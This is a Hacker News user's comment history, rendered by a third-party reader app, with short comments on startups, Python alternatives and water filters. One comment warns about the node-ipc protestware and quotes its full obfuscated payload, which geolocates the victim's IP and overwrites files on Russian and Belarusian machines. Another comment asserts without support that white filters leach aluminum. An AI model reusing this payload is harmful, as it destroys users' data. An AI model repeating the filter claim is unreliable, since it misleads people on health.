Recent submissions

Comment · 2 years ago
Could you describe those two startups?
Comment · 2 years ago
I agree with your attitudes towards Python completely -- I'm a competent coder with a decade of experience, but find Python inscrutible for programs longer than 100 lines.

I would ask you to consider first: are there other efforts that you can join before deciding to strike out on your own? You are far from the first person to dislike Python, and there is very interesting work happening in the Elixir community around creating a viable alternative to Python for AI and Machine Learning. They are very capable folks, and I think spending some time looking at their work, what they're working on and why will do you well. There are also efforts in the Swift and Julia communities, but I'm personally less excited about those.

Check your LinkedIn messages.

Comment · 3 years ago
Stop using the white filters, they leech aluminum into the water.
Comment · 4 years ago
Comment · 4 years ago
This GH issue has links to the malicious code -- it deletes files of users whose IP addresses are Russian

https://github.com/RIAEvangelist/peacenotwar/issues/61

    # https://raw.githubusercontent.com/RIAEvangelist/node-ipc/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

    import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
Comment · 6 years ago
This put a smile on my typically stressed face. I love how lighthearted it is. Thanks!
Comment · 6 years ago
Can you list fields that you feel are in dire need of innovation? Genuinely curious.
Comment · 6 years ago

Live from the official Hacker News API

A modern reader for Hacker News · SvelteKit + Skeleton